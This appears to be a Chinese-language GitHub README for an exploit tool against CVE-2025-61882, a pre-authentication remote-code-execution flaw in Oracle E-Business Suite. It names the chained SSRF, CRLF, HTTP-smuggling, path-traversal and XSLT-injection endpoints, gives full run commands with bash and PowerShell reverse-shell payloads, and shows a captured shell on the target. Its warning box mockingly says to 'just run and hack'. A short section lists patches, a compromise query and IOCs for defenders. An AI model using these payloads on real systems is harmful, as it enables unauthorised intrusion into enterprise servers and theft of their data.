MindflareX/CVE-2025-61882-POC

GitHub: MindflareX/CVE-2025-61882-POC

Oracle EBS CVE-2025-61882漏洞检测与利用工具

Stars: 0 | Forks: 0

# CVE-2025-61882 安全测试工具 ![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red) ![状态](https://img.shields.io/badge/状态-积极利用中-red) ![平台](https://img.shields.io/badge/平台-Oracle%20EBS-blue) ![许可证](https://img.shields.io/badge/许可证-教育用途-yellow) ## 🚨 严重法律警告 请参阅我们的[博客文章](https://mindflaresec.com/blog/cve-2025-61882)以获取技术细节 **本工具仅限授权安全测试使用** ``` ╔══════════════════════════════════════════════════════════════╗ ║ ║ ║ 🚨 UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL 🚨 ║ ║ ║ ║ By using this tool, you acknowledge and agree that: ║ ║ ║ ║ ║ ║ FCK THIS JUST RUN AND HACK ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ║ ╚══════════════════════════════════════════════════════════════╝ ``` ## 📋 概述 CVE-2025-61882安全测试工具,这是一个影响Oracle E-Business Suite的严重预认证远程代码执行漏洞。 **创建者:** Mindflare ### 漏洞详情 - **CVE ID:** CVE-2025-61882 - **CVSS评分:** 9.8(严重) - **攻击向量:** 网络(未认证) - **攻击复杂度:** 中等 - **所需权限:** 无 - **用户交互:** 无 - **受影响版本:** Oracle E-Business Suite 12.2.3 - 12.2.14 - **补丁状态:** 2025年10月4日发布紧急补丁 - **利用状态:** ⚠️ **自2025年8月起被Cl0p勒索软件积极利用** ### 技术摘要 CVE-2025-61882是一个结合了五个不同漏洞的复杂利用链: 1. **SSRF** - 通过`/OA_HTML/configurator/UiServlet`进行服务器端请求伪造 2. **CRLF注入** - 在`return_url`参数中注入HTTP头 3. **HTTP走私** - 利用持久连接滥用以访问内部服务(端口7201) 4. **身份验证绕过** - 通过`/OA_HTML/help/../`前缀进行路径遍历 5. **XSLT注入** - 恶意XSL模板处理导致RCE ## 🎯 预期用途 ### ✅ 可接受用途 - 有书面许可的授权渗透测试 - 对您拥有的系统进行安全研究 - 在受控实验室环境中进行漏洞验证 - 在适当的范围文档中进行的红队练习 - 在机构批准的情况下进行学术研究 - 事件响应和取证分析 ### ❌ 禁止用途 - 任何未经授权的系统访问 - 没有明确书面许可测试系统 - 恶意活动或造成损害 - 未获批准攻击生产系统 - 用于犯罪目的 - 任何违反适用法律的活动 ## 📦 安装 ### 先决条件 - Python 3.7或更高版本 - pip包管理器 - 与目标(仅限授权)的网络连接 - Netcat或类似监听器以接收反向shell ### 设置 ``` # 克隆仓库 git clone https://github.com/[YOUR-USERNAME]/CVE-2025-61882-POC cd CVE-2025-61882-POC # 安装依赖 pip3 install -r requirements.txt # 使脚本可执行(Linux/Mac) chmod +x cve-2025-61882-detector.py ``` ## 🚀 使用 ### 步骤 1:设置您的监听器 在**单独的终端**中,启动一个netcat监听器: ``` # Linux/Mac nc -lvnp 4444 # Windows nc.exe -lvnp 4444 ``` ### 步骤 2:运行工具 **基本用法(Linux目标):** ``` python3 cve-2025-61882-detector.py \ --target http://192.168.1.22:8000 \ --lhost 192.168.1.10 \ --lport 80 \ --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \ --platform linux ``` **Windows目标:** ``` python3 cve-2025-61882-detector.py \ --target http://192.168.1.22:8000 \ --lhost 192.168.1.10 \ --lport 80 \ --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \ --platform windows ``` ### 参数 | 参数 | 描述 | 必需 | 示例 | |-----------|-------------|----------|---------| | `--target` | 目标Oracle EBS URL | **是** | `http://192.168.1.22:8000` | | `--lhost` | 您的IP地址(用于回调) | **是** | `192.168.1.10` | | `--lport` | HTTP服务器端口(用于服务XSL有效负载) | **是** | `80`或`8080` | | `--command` | 在目标上执行的命令 | **是** | 参见上面示例 | | `--platform` | 目标OS:`linux`或`windows` | **是** | `linux` | ## 📊 示例输出 ### 工具输出 ``` [*] Target URL: http://192.168.1.22:8000 [*] Listener IP: 192.168.1.10 [*] Listener Port: 80 [*] Platform: linux [*] HTTP server started on 192.168.1.10:80 [*] Connecting to target to retrieve CSRF token... [*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0 [*] Cooking HTTP smuggle stub... [*] Sending exploit payload... [*] Exploit payload sent successfully [+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1 [+] XSL payload served successfully ``` ### Netcat监听器输出(如果存在漏洞) ``` ubuntu@attacker:~$ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 192.168.1.22 30290 bash: no job control in this shell [oracle@apps EBS_domain]$ id uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall) [oracle@apps EBS_domain]$ ``` ## 🛡️ 检测与防御 ### 对于安全防御者 #### 立即行动 1. **应用Oracle紧急补丁**(文档ID:30061882.1) 2. **搜索妥协:** SELECT * FROM XDO_TEMPLATES_B WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%'; 3. **审查自2025年8月以来的访问日志** 4. **阻止EBS服务器的外出互联网连接** #### 检测指标 **网络IOCs:** ``` 200.107.207.26 (Cl0p C2) 161.97.99.49 (Secondary) ``` **HTTP模式:** - `POST /OA_HTML/configurator/UiServlet` - `POST /OA_HTML/SyncServlet` - `GET /OA_HTML/help/../*.jsp` - 参数中的CRLF字符 ## 📚 参考资料 - [Oracle安全警报咨询](https://www.oracle.com/security-alerts/alert-cve-2025-61882.html) - [CISA KEV目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - [Google/Mandiant分析](https://cloud.google.com/blog/topics/threat-intelligence/oracle-ebusiness-suite-zero-day-exploitation) - [watchTowr Labs研究](https://labs.watchtowr.com/) ## 📜 许可证 MIT许可证,教育用途有限制 - 请参阅[LICENSE](LICENSE) **免责声明:** 本软件仅限授权安全测试使用。未经授权访问计算机系统是非法的。作者对误用不承担任何责任。 ``` **Created by:** Mindflare | **Last Updated:** October 2025 ```
标签:逆向工具